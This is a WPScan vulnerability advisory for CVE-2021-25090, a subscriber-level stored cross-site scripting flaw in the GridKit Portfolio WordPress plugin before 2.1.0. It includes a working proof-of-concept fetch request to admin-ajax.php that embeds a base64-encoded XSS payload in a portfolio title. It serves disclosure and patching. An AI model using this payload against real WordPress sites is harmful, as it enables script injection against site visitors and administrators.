WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

GridKit Portfolio < 2.1.0 - Subscriber+ Stored Cross-Site Scripting

Description

The plugin does not have authorisation and CSRF checks in various functions related to AJAX actions, allowing any authenticated users, such as subscriber, to call them. Due to the lack of sanitisation and escaping, it could also allows attackers to perform Cross-Site Scripting attacks on pages where a Portfolio is embed

Proof of Concept

Step 1: Create a portfolio with at least one project (as admin)
Step 2: Add it to a post/page
Step 3: Run (as subscriber):

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "crp_save_portfolio", "portfolio": '{"id":"1","title":"p","corder":["1"],"options":null,"extoptions":{"all_cats":{},"type":"album"},"projects":{"1":{"id":"0","pid":"1","title":"PGltZyBzcmMgb25lcnJvcj1hbGVydCgxKT4","description":"p","url":"http://tt.tt","cover":"aHR0cHM6Ly93d3cud2lraXBlZGlhLm9yZy9wb3J0YWwvd2lraXBlZGlhLm9yZy9hc3NldHMvaW1nL1dpa2lwZWRpYS1sb2dvLXYyLnBuZw==","pics":"","categories":[],"cdate":null,"details":""}},"deletions":[],"isDraft":false}'}),
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be triggered on the post/page where the Portfolio is embed 

Affects Plugins

portfolio-wp
Fixed in version 2.1.0

References

CVE
CVE-2021-25090

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
32a4a2b5-ef65-4e29-af4a-f003dbd0809c

Timeline

Publicly Published

2022-03-15 (about 10 months ago)

Added

2022-03-15 (about 10 months ago)

Last Updated

2022-04-09 (about 9 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us